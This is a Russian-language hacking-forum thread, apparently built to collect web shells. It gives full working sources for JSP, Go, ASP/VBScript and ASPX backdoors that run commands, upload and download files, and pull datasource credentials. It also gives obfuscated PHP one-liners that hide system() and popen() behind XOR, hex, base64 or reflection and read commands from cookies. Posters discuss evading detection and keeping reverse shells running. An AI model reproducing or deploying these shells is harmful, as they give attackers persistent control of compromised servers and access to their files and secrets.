        <artifactId>jetty-maven-plugin</artifactId>
        <version>${jetty-version}</version>
          <configuration>
            <war>${project.build.directory}/${project.build.finalName}.war</war>
            <webAppSourceDirectory>${project.basedir}/src/main/webapp</webAppSourceDirectory>
          <webApp>
              <contextPath>/${project.build.finalName}</contextPath>
          </webApp>
          <scanIntervalSeconds>5</scanIntervalSeconds>
      </configuration>
      </plugin>
    </plugins>
  </build>
</project>

Java:
<%@ page import="java.io.*" %>
<%@ page import="java.util.Hashtable" %>
<%@ page import="java.util.Properties" %>
<%@ page import="java.util.StringTokenizer" %>
<%@ page import="java.util.zip.ZipEntry" %>
<%@ page import="java.util.zip.ZipOutputStream" %>
<%@ page import="java.beans.BeanInfo" %>
<%@ page import="java.beans.Introspector" %>
<%@ page import="java.beans.PropertyDescriptor" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.lang.reflect.InvocationTargetException" %>
<%@ page import="java.beans.IntrospectionException" %>
<%@ page import="javax.sql.DataSource" %>
<%@ page import="javax.naming.*" %>

<%!
    private static boolean isNotEmpty(Object obj) {
        if (obj == null) {
            return false;
        }
        return !"".equals(String.valueOf(obj).trim());
    }

    private static String formatMessage(String message) {
        return "[*]\t" + message;
    }

    private  static String exceptionToString(Exception e) {
        StringWriter sw = new StringWriter();
        e.printStackTrace(new PrintWriter(sw, true));
        return sw.toString();
    }

    private static ByteArrayOutputStream inutStreamToOutputStream(InputStream in) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        byte[] b = new byte[1024];
        int a = 0;
        while((a = in.read(b))!=-1){
            baos.write(b,0,a);
        }
        return baos;
    }


    private static void extractData(Object jndiObject, JspWriter out) throws Exception  {
        try {
            BeanInfo info = Introspector.getBeanInfo(jndiObject.getClass(), Object.class);
            PropertyDescriptor[] properties = info.getPropertyDescriptors();
            for (int i=0; i < properties.length; i++) {
                String propName = properties[i].getName();
                Method method = properties[i].getReadMethod();
                if (method != null) {
                    if (String.class.equals(method.getReturnType()) && method.getName().startsWith("get")) {
                        try {
                            method.setAccessible(true);
                            out.println(formatMessage(propName+":"+method.invoke(jndiObject, null)));
                        } catch (Exception e) {
                        }
                    }
                }
            }
        } catch (IntrospectionException e) { }
    }

    private static void findJndi(String path, Context ctx, JspWriter out) throws NamingException {
        NamingEnumeration namingEnumeration = ctx.list(path);
        while(namingEnumeration.hasMore()) {
            NameClassPair resource = (NameClassPair) namingEnumeration.next();
            String name = resource.getName();
            String lookPath = path + "/"+name;
            try {
                Object tmp = ctx.lookup(lookPath);
                if (tmp instanceof Context) {
                    findJndi(lookPath, ctx, out);
                } else {
                    if (tmp instanceof DataSource) {
                        try {
                            extractData(tmp, out);
                        } catch (Exception e) {}
                    }
                }
            } catch (NamingException e) {}
        }
    }


    private static String findRealPath(String path) {
        String filePath = null;
        if (isNotEmpty(path)) {
            File f = new File(path).getParentFile();
            //This is a hack needed for tomcat
            while (isNotEmpty(f) && !f.exists())
                f = f.getParentFile();
            if (isNotEmpty(f))
                filePath = f.getAbsolutePath();
        }
        if (filePath == null) {
            filePath = new File(".").getAbsolutePath();
        }
        return filePath;
    }

    private static void zipFile(ZipOutputStream zip, File file, int rootLength) throws IOException{
        if(file.isDirectory() && file.canRead()){
            File[] files = file.listFiles();
            if (files != null) {
                for(int i=0; i < files.length; i++) {
                    zipFile(zip, files[i], rootLength);
                }
            }
        } else {
            FileInputStream in = new FileInputStream(file);
            String separator = File.separator + File.separator;
            zip.putNextEntry(new ZipEntry(file.getAbsolutePath().substring(rootLength).replaceAll(separator, "/")));
            zip.write(inutStreamToOutputStream(in).toByteArray());
            in.close();
        }
    }

    private static void zip(ByteArrayOutputStream out, File file) throws IOException{
        ZipOutputStream zos = new ZipOutputStream(out);
        String parent = file.getParentFile().getAbsolutePath();
        zipFile(zos, file, parent.length()+1);
        zos.close();
    }

    private static class Command {
        private static final String OS_VERSION = "os.version";
        private static final String OS_NAME = "os.name";
        private static final String OS_ARCH = "os.arch";
        private static final String JAVA_HOME = "java.home";
        private static final String JAVA_VENDOR = "java.vendor";
        private static final String JAVA_VERSION = "java.version";
        private static final String USER_DIR = "user.dir";
        private static final String USER_HOME = "user.home";
        private static final String USER_NAME = "user.name";
        private static final String attributes[] = {OS_VERSION, OS_NAME, OS_ARCH, JAVA_HOME,
                JAVA_VENDOR, JAVA_VERSION, USER_DIR,  USER_HOME, USER_NAME};

        private static final String WIN_CMD[] = {"cmd", "/C"};
        private static final String WIN_POWER[] = {"cmd", "/C", "powershell", "-nologo", "-Command"};
        private static final String BASH[]    = {"/bin/sh", "-c"};
        private static final String IPCONFIG = "ipconfig /all";
        private static final String IFCONFIG = "/sbin/ifconfig -a";
        private static final String WDIR_LIST = "dir";
        private static final String LDIR_LIST = "ls -la";

        private static String getOS() {
            return System.getProperty(OS_NAME).toLowerCase();
        }

        private static String ipconfig() {
            String command = (getOS().startsWith("windows")) ? IPCONFIG : IFCONFIG;
            return runCommand(command);
        }

        private static String runCommand(String command) {
            String os = System.getProperty(OS_NAME).toLowerCase();

            String shell[] = (os.startsWith("windows")) ? WIN_CMD : BASH;

            return runCommand(shell, command);
        }

        private static String runPowerCommand(String command) {
            String os = System.getProperty(OS_NAME).toLowerCase();

            String shell[] = (os.startsWith("windows")) ? WIN_POWER : BASH;
            String cmd = "\"& { "+command+";echo  \"---end-of-script---\"; }\"";
            return runCommand(shell, cmd);
        }

        private static String listDir(String path) {
            String command = (getOS().startsWith("windows")) ? WDIR_LIST : LDIR_LIST;
            command += " " + path;
            return runCommand(command);
        }

        private static String runCommand(String shell[], String command) {
            String cmd[] = new String[shell.length + 1];
            System.arraycopy(shell, 0, cmd, 0, shell.length);
            cmd[cmd.length - 1] = command;

            BufferedReader bufferedReader = null;
            InputStreamReader inputStreamReader = null;
            StringBuffer stringBuffer = null;

            try {
                Process process   = Runtime.getRuntime().exec(cmd);
                inputStreamReader = new InputStreamReader(process.getInputStream());
                bufferedReader    = new BufferedReader(inputStreamReader);
                stringBuffer      = new StringBuffer();
                String line;

                while ((line = bufferedReader.readLine()) != null && !line.equals("---end-of-script---")) {
                    if (line.length() > 0) {
                        stringBuffer.append(line);
                        stringBuffer.append('\n');
                    }
                }
            } catch (IOException ex) {
                return "";
            } finally {

                try {
                    if (inputStreamReader != null){
                        inputStreamReader.close();
                    }
                    if (bufferedReader != null){
                        bufferedReader.close();
                    }
                } catch (Exception e) {
                    return "";
                }
            }
            return stringBuffer.toString();
        }
    }

    public class Upload {
        private final int ONE_MB= 1024 * 1024;


        private Hashtable parseData(ServletInputStream data,
                                   String boundary,
                                   String saveInDir)
                throws IllegalArgumentException, IOException
        {
            return processData(data, boundary, saveInDir);
        }

        public Hashtable parseData(ServletInputStream data,
                                   String boundary)
                throws IllegalArgumentException, IOException
        {
            return processData(data, boundary, null);
        }


        private Hashtable processData(ServletInputStream is,
                                      String boundary,
                                      String saveInDir)
                throws IllegalArgumentException, IOException
        {
            if (is == null)
                throw new IllegalArgumentException("InputStream");

            if (boundary == null || boundary.trim().length() < 1)
                throw new IllegalArgumentException("boundary");

            boundary = "--" + boundary;
            StringTokenizer stLine, stFields;
            FileInfo fileInfo;
            Hashtable dataTable = new Hashtable(5);
            String line, field, paramName;
            boolean saveFiles=(saveInDir != null && saveInDir.trim().length() > 0);
            boolean isFile;

            if (saveFiles)
            {
                File f = new File(saveInDir);
                f.mkdirs();
            }
            line = getLine(is);
            if (line == null || !line.startsWith(boundary))
                throw new IOException("Boundary not found;"
                        +" boundary = " + boundary
                        +", line = "    + line);

            while (line != null)
            {
                if (line == null || !line.startsWith(boundary))
                    return dataTable;


                line = getLine(is);
                if (line == null)
                    return dataTable;

                stLine = new StringTokenizer(line, ";\r\n");
                if (stLine.countTokens() < 2)
                    throw new IllegalArgumentException("Bad data in second line");

                line = stLine.nextToken().toLowerCase();
                if (line.indexOf("form-data") < 0)
                    throw new IllegalArgumentException("Bad data in second line");

                stFields = new StringTokenizer(stLine.nextToken(), "=\"");
                if (stFields.countTokens() < 2)
                    throw new IllegalArgumentException("Bad data in second line");

                fileInfo = new FileInfo();
                stFields.nextToken();
                paramName = stFields.nextToken();

                isFile = false;
                if (stLine.hasMoreTokens())
                {
                    field    = stLine.nextToken();
                    stFields = new StringTokenizer(field, "=\"");
                    if (stFields.countTokens() > 1)
                    {
                        if (stFields.nextToken().trim().equalsIgnoreCase("filename"))
                        {
                            fileInfo.setName(paramName);
                            String value = stFields.nextToken();
                            if (value != null && value.trim().length() > 0)
                            {
                                fileInfo.setClientFileName(value);
                                isFile = true;
                            }
                            else
                            {
                                line = skipLines(4, is);
                                continue;
                            }
                        }
                    }
                    else
                    if (field.toLowerCase().indexOf("filename") >= 0)
                    {
                        line = skipLines(4, is);
                        continue;
                    }
                }

                boolean skipBlankLine = true;
                if (isFile)
                {
                    line = getLine(is);
                    if (line == null)
                        return dataTable;

                    if (line.trim().length() < 1)
                        skipBlankLine = false;
                    else
                    {
                        stLine = new StringTokenizer(line, ": ");
                        if (stLine.countTokens() < 2)
                            throw new IllegalArgumentException("Bad data in third line");

                        stLine.nextToken(); // Content-Type
                        fileInfo.setFileContentType(stLine.nextToken());
                    }
                }

                if (skipBlankLine)
                {
                    line = getLine(is);
                    if (line == null)
                        return dataTable;
                }


                if (!isFile)
                {
                    line = getLine(is);
                    if (line == null)
                        return dataTable;

                    dataTable.put(paramName, line);
                    line = getLine(is);

                    continue;
                }

                try
                {
                    OutputStream os = null;
                    String path     = null;
                    if (saveFiles)
                        os = new FileOutputStream(path = getFileName(saveInDir,
                                fileInfo.getClientFileName()));
                    else
                        os = new ByteArrayOutputStream(ONE_MB);


                    boolean readingContent = true;
                    byte b[] = new byte[2 * ONE_MB], b2[] = null;
                    int read;

                    while (readingContent)
                    {
                        if ((read = is.readLine(b, 0, b.length)) == -1)
                        {
                            line = null;
                            break;
                        }

                        if (read < 3) // < 3 means CR and LF or just LF
                        {
                            b2 = new byte[read];
                            System.arraycopy(b, 0, b2, 0, b2.length);
                            if ((read = is.readLine(b, 0, b.length)) == -1)
                            {
                                line = null;
                                break;
                            }
                        }

                        if (compareBoundary(boundary, b))
                        {
                            line = new String(b, 0, read);
                            break;
                        }
                        else
                        if (b2 != null) // Prev line was not a boundary line
                        {
                            os.write(b2);
                            b2 = null;
                        }

                        os.write(b, 0, read);
                        os.flush();
                    }

                    os.close();
                    b  = null;

                    if (!saveFiles)
                    {
                        ByteArrayOutputStream baos = (ByteArrayOutputStream)os;
                        fileInfo.setFileContents(baos.toByteArray());
                    }
                    else
                    {
                        fileInfo.setFile(new File(path));
                        os = null;
                    }

                    dataTable.put(paramName, fileInfo);
                } catch (IOException e) { throw e; }
            }

            return dataTable;
        }

        // Compares boundary string to byte array
        private boolean compareBoundary(String boundary, byte ba[])
        {
            if (boundary == null || ba == null)
                return false;

            for (int i=0; i < boundary.length(); i++)
                if ((byte)boundary.charAt(i) != ba[i])
                    return false;

            return true;
        }

        private synchronized String getLine(ServletInputStream sis)
                throws IOException
        {
            byte   b[]  = new byte[1024];
            int    read = sis.readLine(b, 0, b.length), index;
            String line = null;

            if (read != -1)
            {
                line = new String(b, 0, read);

                if ((index = line.indexOf('\n')) >= 0)
                    line   = line.substring(0, index-1);
            }

            b = null;
            return line;
        }

        private String getFileName(String dir, String fileName)
                throws IllegalArgumentException
        {
            String path = null;

            if (dir == null || fileName == null)
                throw new IllegalArgumentException("dir or fileName is null");

            int   index = fileName.lastIndexOf('/');
            String name = null;
            if (index >= 0)
                name = fileName.substring(index + 1);
            else
                name = fileName;

            index = name.lastIndexOf('\\');
            if (index >= 0)
                fileName = name.substring(index + 1);

            path = dir + File.separator + fileName;
            if (File.separatorChar == '/')
                return path.replace('\\', File.separatorChar);
            else
                return path.replace('/',  File.separatorChar);
        }

        private String skipLines(int numberOfLines, ServletInputStream sis)
                throws IOException
        {
            String line = null;
            for (int i = 0; i < numberOfLines; i++) {
                line = getLine(sis);
            }
            return line;
        }
    }

    public class FileInfo {
        private String name     = null,
                clientFileName  = null,
                fileContentType = null;
        private byte[] fileContents    = null;
        private File   file            = null;
        private StringBuffer sb = new StringBuffer(100);

        public String getName() {
            return name;
        }

        public void setName(String name) {
            this.name = name;
        }

        public String getClientFileName() {
            return clientFileName;
        }

        public void setClientFileName(String clientFileName) {
            this.clientFileName = clientFileName;
        }

        public String getFileContentType() {
            return fileContentType;
        }

        public void setFileContentType(String fileContentType) {
            this.fileContentType = fileContentType;
        }

        public byte[] getFileContents() {
            return fileContents;
        }

        public void setFileContents(byte[] fileContents) {
            this.fileContents = fileContents;
        }

        public File getFile() {
            return file;
        }

        public void setFile(File file) {
            this.file = file;
        }

        public StringBuffer getSb() {
            return sb;
        }

        public void setSb(StringBuffer sb) {
            this.sb = sb;
        }
    }
%>

<%
    //the objective is to useit in a console so lets get rid of does \n
    out.clearBuffer();
    String actions[] = {"exec", "up", "down", "power"};
    String reqPass = request.getParameter("pass");
    String reqMethod = request.getMethod();
    String reqContentType = request.getContentType();
    String reqPath = request.getParameter("path");
    String reqAction  = request.getParameter("action");
    String reqArgs  = request.getParameter("args");

    if (isNotEmpty(reqPass) && reqPass.equals(application.getInitParameter("pass"))) {
        String appPath = application.getRealPath(request.getRequestURI());
        String path = isNotEmpty(reqPath) ? reqPath : findRealPath(appPath);

        if (isNotEmpty(reqMethod) && "GET".equalsIgnoreCase(reqMethod)) {
            if (isNotEmpty(reqAction) && reqAction.equals(actions[0]) && isNotEmpty(reqArgs)) {
                out.println(formatMessage(Command.runCommand(reqArgs)));
            } else if (isNotEmpty(reqAction) && reqAction.equals(actions[2])) {
                if(isNotEmpty(reqArgs) && isNotEmpty(path)) {
                    File file = new File(path, reqArgs);
                    String fileName = file.isDirectory() ? file.getName()+".zip":file.getName();
                    response.setHeader("Content-Disposition", "attachment; filename="+fileName);
                    BufferedOutputStream bos = new BufferedOutputStream(response.getOutputStream());
                    if(file.isDirectory() && file.canRead() && file.exists()) {
                        response.setContentType("application/zip");
                        ByteArrayOutputStream baos = new ByteArrayOutputStream();
                        zip(baos, file);
                        bos.write(baos.toByteArray());
                        baos.close();
                    } else if (file.canRead() && file.exists()) {
                        response.setContentType("application/octet-stream");
                        InputStream in = new FileInputStream(file);
                        int len;
                        byte[] buf = new byte[1024];
                        while ((len = in.read(buf)) > 0) {
                            bos.write(buf, 0, len);
                        }
                        in.close();
                    }
                    bos.close();
                    out.clear();
                    out = pageContext.pushBody();
                    return ;
                }

            } else if (isNotEmpty(reqAction) && reqAction.equals(actions[3])) {
                out.println(formatMessage(Command.runPowerCommand(reqArgs)));
            } else {
                out.println(formatMessage("====== Java System properties ======"));
                Properties props = System.getProperties();
                String attributes[] = Command.attributes;
                int attributesSize = attributes.length;
                for (int i=0; i < attributesSize; i++) {
                    String attributeValue = attributes[i];
                    String propValue = props.getProperty(attributeValue);
                    out.println(formatMessage(attributeValue+": "+propValue));
                }
                out.println(formatMessage("====== JNDI info ======"));
                InitialContext ctx = null;
                try {
                    ctx = new InitialContext();
                   // findJndi("java:comp", ctx, out);
                } catch (NamingException e) {}

                out.println(formatMessage("====== Network ======"));
                out.println(formatMessage("Hostname:\t"+Command.runCommand("hostname")));
                out.println(formatMessage(Command.ipconfig()));
            }
        } else if (isNotEmpty(reqMethod) && "POST".equalsIgnoreCase(reqMethod)) {
            if(isNotEmpty(reqContentType) && reqContentType.startsWith("multipart")) {
                String boundary;
                int bStart = 0;
                bStart          = reqContentType.lastIndexOf("oundary=");
                boundary        = reqContentType.substring(bStart + 8);
                Upload fileUpload = new Upload();

                Hashtable hashtable = fileUpload.parseData(request.getInputStream(), boundary, path);
                out.println("File uploaded to: "+ path);
                out.println(Command.listDir(path));
            }
        }
    }
%>

XML:
<!DOCTYPE web-app PUBLIC
 "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
 "http://java.sun.com/dtd/web-app_2_3.dtd" >

<web-app>

    <display-name>webshell</display-name>

    <context-param>
        <param-name>pass</param-name>
        <param-value>key</param-value>
    </context-param>

    <servlet>
        <servlet-name>shell</servlet-name>
        <jsp-file>/shell.jsp</jsp-file>
        <init-param>
            <param-name>suppressSmap</param-name>
            <param-value>false</param-value>
        </init-param>
    </servlet>
    <servlet-mapping>
        <servlet-name>shell</servlet-name>
        <url-pattern>/shell</url-pattern>
    </servlet-mapping>
    <welcome-file-list>
        <welcome-file>shell.jsp</welcome-file>
    </welcome-file-list>

</web-app>
 
Последнее редактирование:
Go

Простой шелл на Go с формочкой

Код:
package main

import (
    "fmt"
    "net/http"
    "os/exec"
    "html/template"
)

const pageTemplate = `
<!DOCTYPE html>
<html>
<head>
    <title>Web Shell</title>
    <style>
        pre { background-color: #f0f0f0; padding: 10px; }
        form { margin: 20px 0; }
        input[type="text"] { width: 70%; padding: 5px; }
    </style>
</head>
<body>
    <form method="GET" action="/">
        <input type="text" name="cmd" size="80" value="{{.Cmd}}" />
        <input type="submit" value="Run" />
    </form>
    {{if .Output}}
    <pre>Command: {{.Cmd}}\n{{.Output}}</pre>
    {{end}}
</body>
</html>
`

type PageData struct {
    Cmd    string
    Output string
}

func handler(w http.ResponseWriter, r *http.Request) {
    tmpl := template.Must(template.New("page").Parse(pageTemplate))
    data := PageData{
        Cmd: r.URL.Query().Get("cmd"),
    }

    if data.Cmd != "" {
        cmd := exec.Command("sh", "-c", data.Cmd)
        output, err := cmd.CombinedOutput()
        if err != nil {
            data.Output = fmt.Sprintf("Error: %s\n%s", err, output)
        } else {
            data.Output = string(output)
        }
    }

    tmpl.Execute(w, data)
}

func main() {
    http.HandleFunc("/", handler)
    fmt.Println("Server started at :8080")
    http.ListenAndServe(":8080", nil)
}

1744008637633.png
 
Последнее редактирование:
ASP/ASPX

Simple VBScript Webshell
Редко встретишь проекты на VBScript, вроде как отжил свое, но мне попадался и подобный шелл довольно неплохо помогал:
Код:
<%@ Language="VBScript" %>
<h1>Simple VBScrip Webshell</h1>
<form method="POST">
    <input type="text" name="cmd" size="80" value="<%= Server.HTMLEncode(cmd) %>">
    <input type="submit" value="Run">
</form>
<%
    cmd = Request("cmd")
    If cmd <> "" Then
        Set shell = CreateObject("WScript.Shell")
        Set exec = shell.Exec("cmd /c " & cmd)
        Response.Write("<pre>" & Server.HTMLEncode(exec.StdOut.ReadAll()) & "</pre>")
    End If
%>

1744016827198.png
 
Последнее редактирование:
ASPX WEB SHELL (GUI)

aspx.png
По и версии: ASP.NET

Описание:
Удобный гуи веб-шелл, с понятным интерфейсом и необходимым функционалом. Всё просто.

Функции:
  • Выполнение команд на системе
  • Загрузка / удаление файлов
  • Просмотр файлов на дисках
  • Всё необходимое для работы :)


C#:
<%-- ASPX SHELL --%>
<%@ Page Language="C#" EnableViewState="false" %>
<%@ Import Namespace="System.Web.UI.WebControls" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>

<%
    string o = "";
    string d = Page.MapPath(".") + "/";
    if (Request.QueryString["f"] != null)
        d = Request.QueryString["f"] + "/";
    d = d.Replace("\\", "/").Replace("//", "/");
    string[] dp = d.Split('/');
    string lw = "";
    foreach (string cp in dp)
    {
        if (cp.Length == 0)
            continue;
        lw += cp + "/";
        o += string.Format("<a href='?f={0}'>{1}/</a>&nbsp;",
                                    HttpUtility.UrlEncode(lw),
                                    HttpUtility.HtmlEncode(cp));
    }
    lblPath.Text = o;
    o = "";
    foreach(DriveInfo cd in DriveInfo.GetDrives())
    {
        if (!cd.IsReady)
            continue;
        string dr = cd.RootDirectory.Name.Replace("\\", "");
        o += string.Format("<a href='?f={0}'>{1}</a>&nbsp;",
                                    HttpUtility.UrlEncode(dr),
                                    HttpUtility.HtmlEncode(dr));
    }
    lblDrives.Text = o;
    if ((Request.QueryString["g"] != null) && (Request.QueryString["g"].Length > 0))
    {
        Response.ClearContent();
        Response.WriteFile(Request.QueryString["g"]);
        Response.End();
    }
    if ((Request.QueryString["dl"] != null) && (Request.QueryString["dl"].Length > 0))
        File.Delete(Request.QueryString["dl"]);
    if(flUp.HasFile)
    {
        string fn = flUp.FileName;
        int sa = flUp.FileName.LastIndexOfAny(new char[] { '/', '\\' });
        if (sa >= 0)
            fn = flUp.FileName.Substring(sa);
        flUp.SaveAs(d + "/" + fn);
    }
    DirectoryInfo di = new DirectoryInfo(d);
    o = "";
    foreach (DirectoryInfo cd in di.GetDirectories())
    {
        string fs = string.Format("<a href='?f={0}'>{1}</a>",
                                    HttpUtility.UrlEncode(d + "/" + cd.Name),
                                    HttpUtility.HtmlEncode(cd.Name));
        o += string.Format("<tr><td>{0}</td><td>&lt;DIR&gt;</td><td></td></tr>", fs);
    }
    foreach (FileInfo cf in di.GetFiles())
    {
        string fs = string.Format("<a href='?g={0}' target='_blank'>{1}</a>",
                                    HttpUtility.UrlEncode(d + "/" + cf.Name),
                                    HttpUtility.HtmlEncode(cf.Name));
        string delLink = string.Format("<a href='?f={0}&dl={1}'>Del</a>",
                                    HttpUtility.UrlEncode(d),
                                    HttpUtility.UrlEncode(d + "/" + cf.Name));
        o += string.Format("<tr><td>{0}</td><td>{1:d}</td><td>{2}</td></tr>", fs, cf.Length / 1024, delLink);
    }
    lblDirOut.Text = o;
    if (txtCmdIn.Text.Length > 0)
    {
        Process p = new Process();
        p.StartInfo.CreateNoWindow = true;
        p.StartInfo.FileName = "cmd.exe";
        p.StartInfo.Arguments = "/c " + txtCmdIn.Text;
        p.StartInfo.UseShellExecute = false;
        p.StartInfo.RedirectStandardOutput = true;
        p.StartInfo.RedirectStandardError = true;
        p.StartInfo.WorkingDirectory = d;
        p.Start();
        lblCmdOut.Text = p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd();
        txtCmdIn.Text = "";
    }
%>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head>
    <title>ASPX Shell</title>
    <style type="text/css">
        * { font-family: Arial; font-size: 12px; }
        body { margin: 0px; }
        pre { font-family: Courier New; background-color: #CCCCCC; }
        h1 { font-size: 16px; background-color: #00AA00; color: #FFFFFF; padding: 5px; }
        h2 { font-size: 14px; background-color: #006600; color: #FFFFFF; padding: 2px; }
        th { text-align: left; background-color: #99CC99; }
        td { background-color: #CCFFCC; }
        pre { margin: 2px; }
    </style>
</head>
<body>
    <h1>ASPX</h1>
    <form id="form1" runat="server">
    <table style="width: 100%; border-width: 0px; padding: 5px;">
        <tr>
            <td style="width: 50%; vertical-align: top;">
                <h2>Shell</h2>
                <asp:TextBox runat="server" ID="txtCmdIn" Width="300" />
                <asp:Button runat="server" ID="cmdExec" Text="Execute" />
                <pre><asp:Literal runat="server" ID="lblCmdOut" Mode="Encode" /></pre>
            </td>
            <td style="width: 50%; vertical-align: top;">
                <h2>File Browser</h2>
                <p>
                    Drives:<br />
                    <asp:Literal runat="server" ID="lblDrives" Mode="PassThrough" />
                </p>
                <p>
                    Working directory:<br />
                    <b><asp:Literal runat="server" ID="lblPath" Mode="passThrough" /></b>
                </p>
                <table style="width: 100%">
                    <tr>
                        <th>Name</th>
                        <th>Size KB</th>
                        <th style="width: 50px">Actions</th>
                    </tr>
                    <asp:Literal runat="server" ID="lblDirOut" Mode="PassThrough" />
                </table>
                <p>Upload to this directory:<br />
                <asp:FileUpload runat="server" ID="flUp" />
                <asp:Button runat="server" ID="cmdUpload" Text="Upload" />
                </p>
            </td>
        </tr>
    </table>

    </form>
</body>
</html>
 
Помню раньше был такой веб шелл на php который был как бинарник может помнит кто такой ? Его не реально было найти практически

<?php $wp__l_='àÀ³ начинался с такого заголовка дальше шел мусор
 
PHP:
("G4RD3N"^"4M!0V#")($_COOKIE['PHPSESSID']??"");
PHP:
("123456"^"BK@@P[")($_COOKIE['PHPSESSID']??"");
PHP:
(strrev("metsys"))($_COOKIE[("abcdfghjk"^"1*37#4;#/")]??"");
Наркомания!
 
Давно пора появиться на форуме теме, в рамках которой собираем максимальную коллекцию веб-шеллов.
Почему не были упомянуты "наши" шелы, разработанные участниками СНГ хек комунити такие как WSO, PAS?

P.A.S. Fork v. 1.5

форк PAS от Каретки с античата. К сожалению автор шела после многочисленных упоминаний в сми решил не продолжать разработку. Очень актуальный вебшелл.

68747470733a2f2f692e696d6775722e636f6d2f67415a6b464d542e706e67


WSO 2.5
Так же еще из "наших" WSO но он очень устарел https://forum.antichat.club/threads/103155/ Не работает на пхп 7+ но очень легко фикситься при желании. Я вырезал из него устаревшие фичи и выходил очень даже компактный размер около 15Kb. Официальных живых линков на скачивание не осталось, но есть Архив: https://web.archive.org/web/20160326025006/https://rdot.org/forum/showthread.php?p=11829

Screenshot_2025-03-03_08-00-40.png


wso fix: нужно просто закоментить на строках 20-30 то чего уже давно выпилили из PHP: set_magic_quotes_runtime. Коментим настройку и вызов функции.
PHP:
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
// @set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');

/*if(get_magic_quotes_gpc()) {
    function WSOstripslashes($array) {
        return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
    }
    $_POST = WSOstripslashes($_POST);
    $_COOKIE = WSOstripslashes($_COOKIE);
}*/

P.s. большая коллекция разных шелов/бэкдоров собрана тут. Есть даже очень интересные варианты с рефлексией итд.
Но тут на свой страх и риск!
 
Последнее редактирование:
Однострочный бэкдор через рефлексию
Есть такая штука интересная, и что хорошо она "работает из коробки" - https://www.php.net/manual/en/book.reflection.php
А так же есть куча разных функций которые могут преобразовывать строки, но большинство из них известны, а нам нужно не супер популярная для наших дел.
Берем эту пару - convert_uudecode/convert_uuencode - https://www.php.net/manual/en/function.convert-uudecode.php
Шифруем нашу строку в HEX через мой любимый сервис (ссылка с готовым рецптом): https://gchq.github.io/CyberChef/#recipe=To_Hex('\\x',0)&input=Y29udmVydF91dWRlY29kZQ

cybchef.png


Некоторые символы оставляем оригинальные, некоторые в хексе так сказать миксуем и получаем:
Код:
"co\x6ev\x65\x72\x74\x5f\x75\x75\x64\x65\x63\x6f\x64\x65"

Собираем все в кучу:
PHP:
<?php $class = new ReflectionFunction(implode(array_map("co\x6ev\x65\x72\x74\x5f\x75\x75\x64\x65\x63\x6f\x64\x65", array("&<WES=&5M`"))));$class->invoke("id");

Выполняем:

refl.png


&<WES=&5M` - это у нас system, в оригинале там есть разрыв строки (ниже пример), но в некоторых случаях его можно удалить.
Код:
php > echo convert_uuencode("system");
&<WES=&5M
`

P.S. Я не стал специально обфусцировать момент внутри invoke("id") что бы не было готового "боевого" решения. Как добавить unsafe user input GET/POST думайте сами)
 
PHP. Вешеллы через popen()

Бывает что system() и ` и много чего ещё запрещено в настройках PHP, но напрочь забыто про popen()
Делюсь боевыми решениями (обфусцировал сам, руками, не судите строго)

Оригинал:
$_=popen(base64_decode($_GET["_"]),"r");while(!feof($_)){echo(fread($_,777));}pclose($_);

Варианты его обфускации:
Код:
$_="\x70\x6f\x70\x65\x6e"(("\x62\x61\x73\x65".'64'."\x5f\x64\x65\x63\x6f\x64\x65")($_GET["\x5f"]),"\x72");
while(!("\x66\x65\x6f\x66"($_))){echo("\x66\x72\x65\x61\x64"($_,777));}"\x70\x63\x6c\x6f\x73\x65"($_);
Код:
$_="\x62\x61\x73\x65".'64_'."\x64\x65\x63\x6f\x64\x65";$__=$_("cG9wZW4=")($_($_GET["\x5f"]),"\x72");
while(!($_("ZmVvZg==")($__))){echo($_("ZnJlYWQ=")($__,777));}$_("cGNsb3Nl")($__);
Код:
$_='ba'.'se6'.'4_dec'.'ode';$__=$_("cG9wZW4=")($_($_GET["\x5f"]),"\x72");
while(!($_("ZmVvZg==")($__))){echo($_("ZnJlYWQ=")($__,777));}$_("cGNsb3Nl")($__);

Для "свой вариант" есть вот этот древний (2015), но местами вполне актуальный мануал.
Не рекомендую юзать мои примеры 1-в-1 так как они скоро походу будут "палиться", но как обеспечивать "полиморфизм" думаю все уже давно догадались ;-)

Отдельный респект как обычно c0d3x за необычные шеллы где имя функции system() зашифровано через ^ (XOR) строк, а параметры идут не через "палевные" $_GET/$_POST/$_REQUEST , а через $_COOKIE на который "ну кто бы мог подумать?" , браво! Правда наверное выполнять команды из браузера малость неудобно?

Встречные вопросы к знающим людям:
1. У меня по мануалу (см. выше) не заработали трюки с assert() и preg_replace('/.*/e', ... - они актуальны ещё или нет?
2. В итоге так и не придумал как спрятать eval() (это не функция, а keyword потому что) ну разве что в текст через интерполяцию строк echo "${eval($code)}" но это не спасёт от grep... - может есть какой простой способ про который я не догадался?
3. Аналогично вопросы: как закодировать/спрятать обращение к $_GET ? как попрятать keywords типа if или while ?
4. Если PHP скрипты имеют ограниченное время жизни (настройка сервера), а надо выполнить что-то долгое (например bind or reverse shell запустить надо и чтобы он не сдох через пару секунд или пару минут), то я обычно использую что-то типа nohup some-long-run-command arguments > /dev/null 2>&1 & - может быть есть способ попроще чем через nohup ?
5. Можно ли на PHP организовать такой bind или reverse shell , чтобы через него работали CLI программы типа GNU nano редактора или Midnight Commanger (всё что на ncurses либе, так скажем) ?
 
Последнее редактирование:
Очень ситуативный способ, но все равно напишу
если включена директива allow_url_include = On или есть возможность ее контроллировать, то
<?php isset($_COOKIE['session_id'])&&include'data://text/plain,<?php '.hex2bin($_COOKIE['session_id']);
энкодер https://onlinephp.io/bin2hex
Безымянный.png
 
1. У меня по мануалу (см. выше) не заработали трюки с assert() и preg_replace('/.*/e', ... - они актуальны ещё или нет?
Модификатор /e в preg_replace удален в php7
 
VBscript
.aspx Windows webshell
Simple cmd webshell.
Код:
<%@ Page Language="VB" Debug="true" %>
<%@ Import Namespace="system.IO" %>
